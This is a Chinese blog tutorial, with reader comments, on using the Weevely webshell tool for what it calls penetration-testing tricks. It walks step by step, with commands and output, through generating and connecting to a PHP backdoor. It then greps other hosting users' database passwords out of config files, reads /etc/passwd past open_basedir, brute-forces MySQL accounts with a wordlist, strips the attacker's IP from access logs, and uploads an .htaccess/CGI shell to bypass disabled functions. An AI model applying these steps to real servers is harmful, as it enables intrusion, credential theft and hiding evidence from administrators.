渗透利器Weevely之奇淫技巧篇

来源:互联网 发布:阿里斯顿和史密斯 知乎 编辑:程序博客网 时间:2024/06/05 02:49

Weevely简介

Weevely是一款python编写的webshell管理工具,作为编写语言使用python的一款工具,它最大的优点就在于跨平台,可以在任何安装过python的系统上使用。本文介绍的不是它最基本的功能,而是在渗透测试过程中使用它的奇淫技巧。

安装运行

Linux:(python2.7版本的Debian/Ubuntu)

$sudo apt-get install g++ python-pip libyaml-dev python-dev
$sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

OS X

$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
$ sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

Windows

pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

安装Python 2.7和pip包管理器,然后使用ez_setup.py安装。

基本用法

root@kali:~# weevely 

[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target
weevely <URL> <password> [cmd]

[+] Load session file
weevely session <path> [cmd]

[+] Generate backdoor agent
weevely generate <password> <path>

生成一个后门木马:

root@kali:~# weevely generate test hello.php
Generated backdoor with password 'test' in 'hello.php' of 1486 byte size.root@kali:~# find / -name hello.php
/usr/share/weevely/hello.php

连接后门:

root@kali:~# weevely http://192.168.110.129/hello.php test

[+] weevely 3.2.0

[+] Target:winxp-0947be9ad:C:\phpstudy\WWW
[+] Session:/root/.weevely/sessions/192.168.110.129/hello_0.session
[+] Shell:System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely>

奇淫技巧

获取其他用户的凭据

本技巧演示如何在共享的托管服务器上获取其他用户凭据

1、查找包含其他web用户的文件夹

weevely> ls...memberswww-data@target:/var/www PHP> cd memberswww-data@target:/var/www/members PHP> ls...alefstanssotlatrwoleemptmartolnatstarogjasrotozytstancvirotsyynostwww-data@target:/var/www/members PHP>

2、使用grep命令查找其他用户存储在php脚本中的密码

www-data@target:/var/www/members PHP> grep . '^[^*/#]*passw?o?r?d?'./virots/config.php:$CFG->dbpass    = 'FFFklasdhas()asdjj';   // your database password./anssot/moodle/config.php:$CFG->dbpass    = 'kasdhBSAUIGS77&';   // your database password./leempt/wp/wp-config.php:define('DB_PASSWORD', 'AShasjdh177!@');./alefst/wordpress/wp-config.php:define('DB_PASSWORD', 'ajhfaifh123!');./martol/wordpress/wp-config.php:define('DB_PASSWORD', 'monkeydust1234');./yynost/sites/default/settings.php:    'password' => 'XXyyynotsgoghia(XX',./martol/drupal-7.x/sites/default/settings.php:    'password' => 'jhj@&&hgdas98k',./natsta/drupal/sites/default/settings.php:    'password' => '99copacabana',www-data@target:/var/www/members PHP> 

3、我们发现一些连接数据库的语句。

www-data@target:/var/www/members PHP> grep . 'mysql_conn'./rotozy/joosep-lineon/db.php:$g_link = mysql_connect( '10.4.4.24', 'rotozy', 'rotozy123') or die();www-data@target:/var/www/members PHP>

4、我们可以使用sql_console模块来连接

www-data@target:/var/www/members PHP> :sql_console -user rotozy -passwd rotozy123 -host 10.4.4.7rotozy@server7 SQL> SELECT USER();+----------------+| rotozy@server7 |+----------------+rotozy@server7 SQL> 

绕过策略读取/etc/passwd

某些php配置阻止了对系统文件的任何直接访问(参见open_basedir),但是这些文件对于权限提升很有帮助,这时候我们就要想方法绕过了。weevely中的模块audit_etcpasswd帮我们解决了这个问题。

1、我们先尝试直接访问目标文件

www-data@target:/var/www/html PHP> cd /etc[-][cd] Failed cd '/etc': no such directory or permission deniedwww-data@target:/var/www/html PHP> cat /etc/passwd[-][download] File download failed, please check remote path and permissions

2、不能访问,我们来使用模块audit_etcpasswd

www-data@target:/var/www/html PHP> :audit_etcpasswd --helpusage: audit_etcpasswd [-h] [-real]                       [-vector {posix_getpwuid,file,fread,file_get_contents,base64}]Get /etc/passwd with different techniques.optional arguments:  -h, --help            show this help message and exit  -real                 Filter only real users  -vector {posix_getpwuid,file,fread,file_get_contents,base64}www-data@target:/var/www/html PHP> :audit_etcpasswdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinyzer:x:1000:1000:yzer,,,:/home/yzer:/bin/bashwww-data@target:/var/www/html PHP>

可以看见成功读取。

猜解SQL用户凭据

本技巧教大家如何猜解多个SQL用户的凭据。

1、先来查看用户,无法直接查看,请看上面一个技巧

www-data@target:/var/www/html PHP> cd ..[-][cd] Failed cd '..': no such directory or permission deniedwww-data@target:/var/www/html PHP> cat /etc/passwd[-][download] File download failed, please check remote path and permissionswww-data@target:/var/www/html PHP> :audit_etcpasswd -realroot:x:0:0:root:/root:/bin/bashroblast:x:1000:1000:roblast,,,:/home/roblast:/bin/bashmicjanost:x:1001:1001:micjanost,,,:/home/micjanost:/bin/bashpjgomes:x:1002:1002:pjgomes,,,:/home/pjgomes:/bin/bashpdpeers:x:1003:1003:pdpeers,,,:/home/pdpeers:/bin/bashwww-data@target:/var/www/html PHP>

2、使用bruteforce_sql猜解密码

www-data@target:/var/www/html PHP> :bruteforce_sqlerror: too few argumentsusage: bruteforce_sql [-h] [-hostname HOSTNAME] [-users [USERS [USERS ...]]]                      [-pwds [PWDS [PWDS ...]]] [-fusers FUSERS]                      [-fpwds FPWDS]                      {mysql,pgsql}Bruteforce SQL databasepositional arguments:  {mysql,pgsql}         Service to bruteforceoptional arguments:  -h, --help            show this help message and exit  -hostname HOSTNAME    Hostname  -users [USERS [USERS ...]]                        Users  -pwds [PWDS [PWDS ...]]                        Passwords  -fusers FUSERS        Local file path containing users list  -fpwds FPWDS          Local file path containing password listwww-data@target:/var/www/html PHP> :bruteforce_sql mysql -users roblast micjanost pjgomes pdpeers root -fpwds wordlists/huge.txt roblast:reckonedpjgomes:nationalroot:Gilchristwww-data@target:/var/www/html PHP>

3、成功猜解除三个用户密码,我们使用sql_console连接

www-data@target:/var/www/html PHP> :sql_console -u root -p Gilchristroot@localhost SQL> show databases;+--------------------+| mysql              || performance_schema || test               || appdb              |+--------------------+root@localhost SQL> 

日志清理

本技巧教大家如何清除服务器中的跟踪记录。

1、首先找到日志存放的文件夹,下例是存放在log文件夹中

weevely> ls...htdocslogscpanel.profilecgi-binmember@target:/home/member PHP> cd logsmember@target:/home/member/logs PHP> ls...access.logmember@target:/home/member/logs PHP>

2、我们使用system_info命令找到我们自己的ip

member@target:/home/member/logs PHP> :system_info -info client_ip174.122.136.104member@target:/home/member/logs PHP>

3、我们使用grep命令来确认我们的ip记录在日志文件中

member@target:/home/member/logs PHP> grep access.log 174.122.136.104174.122.136.104 - - [21/Apr/2015:20:37:04 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.co.uz/url?sa=t&rct=j&source=web&cd=136&ved=d7fQaxNTP&ei=qpG-lx-Uque6l97bG_EZfE&usg=FL237uTSYjAc8DC-d971rS4UUPyWV13nyK" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3"174.122.136.104 - - [21/Apr/2015:20:34:01 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=200QawVTBiv_BPoQJdoQhA-yTa66mtGaEA" "Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR)"174.122.136.104 - - [21/Apr/2015:20:28:24 +0100] "GET /agent.php HTTP/1.1" 200 443 "http://www.google.com.uy/url?sa=t&rct=j&source=web&cd=183&ved=DJY1U23wu&ei=GfRq0HsncZ7nn32louwyv0&usg=oYydfzk5nYywMujSFCTAmFvz3i3U7IYMDW" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)"

4、我们可以看到我们IP地址的活动已经被记录,我们可以再次使用grep来从日志中删除我们的ip,然后将其保存到临时文件中

member@target:/home/member/logs PHP> grep access.log -v 174.122.136.104 -output cleaned.logmember@target:/home/member/logs PHP>

5、让我们来测试看看是否已经删除了

member@target:/home/member/logs PHP> grep cleaned.log 174.122.136.104member@target:/home/member/logs PHP>

6、然后我们就可以用cleaned.log来替换access.log

member@target:/home/member/logs PHP> rm access.logmember@target:/home/member/logs PHP> cp cleaned.log access.logmember@target:/home/member/logs PHP> rm cleaned.log

绕过系统禁用函数

1、我们将使用的是audit_disablefunctionbypass模块,它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell。

weevely> www-data@target:/var/www/html PHP> :audit_disablefunctionbypass[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscatedCGI shell replacement $ ps -aux  PID TTY          TIME CMD24693 ?        00:00:00 apache224694 ?        00:00:00 apache224695 ?        00:00:00 apache224696 ?        00:00:00 apache224697 ?        00:00:00 apache224859 ?        00:00:00 acubu.ved24864 ?        00:00:00 psCGI shell replacement $ quitwww-data@emilio-lin:/var/www/html PHP> 

总结

weevely并不止本文所介绍的这些技巧,具体还是要大家多使用,这样才能发现更多的奇淫技巧,也欢迎大家来分享自己的心得。

*本文作者:zusheng,转载请注明来自FreeBuf.COM

这些评论亮了

  • yyy3333回复
    赞楼主 分享
    ……讲真 除了会玩的大牛用各种淫巧
    普通人大多用个菜刀就可以搞定了 ……
    剩下的就是少数在一个黑框框里噼里啪啦大一堆代码装X的了
    所以 由普通人进阶到会玩大牛多么重要。
    想低调就低调 想装X就装X
    )7(亮了
发表评论

已有 10 条评论

  • Black-Hole (5级)FreeBuf专栏作者 2016-10-26回复1楼

    亮了(0)
    • zusheng (4级) 2016-10-27回复

      @ Black-Hole  虽然只有一个字,但是这个字太装逼啦,哈哈

      亮了(1)
  • ExpLife (2级) 2016-10-26回复2楼

    整理了帮助文档,感谢

    亮了(2)
  • yyy3333 2016-10-26回复3楼

    赞楼主 分享
    ……讲真 除了会玩的大牛用各种淫巧
    普通人大多用个菜刀就可以搞定了 ……
    剩下的就是少数在一个黑框框里噼里啪啦大一堆代码装X的了
    所以 由普通人进阶到会玩大牛多么重要。
    想低调就低调 想装X就装X

    亮了(7)
    • 11zgudu (1级) 2016-10-26回复

      @ yyy3333 成神之路太难,少不了运气.

      亮了(0)
  • 死宅10086 (6级) 2016-10-26回复4楼

    :mrgreen::mrgreen::mrgreen:

    亮了(0)
  • 西风微雨 (1级) 2016-10-26回复5楼

    赞!厉害了

    亮了(1)
  • Hd moore 2016-10-26回复6楼

    meterpreter表示不服

    亮了(1)
  • xxx 2016-10-26回复7楼

    说真的,我不是反感这些。出了有些图形化界面出来太过于繁琐,比如某个号称国产sql注入神器的东西。那个ui做出来,由于功能太多,看起来比较累。所以还是需要sqlmap这样的工具。菜刀都这么强大了,界面页人性化。你帧这玩意除了打几个命令装逼还能干嘛

    亮了(3)
  • 四万万同胞 (1级) 2016-10-27回复8楼

    是奇技淫巧,不是奇淫技巧,不谢 :mrgreen:

0 0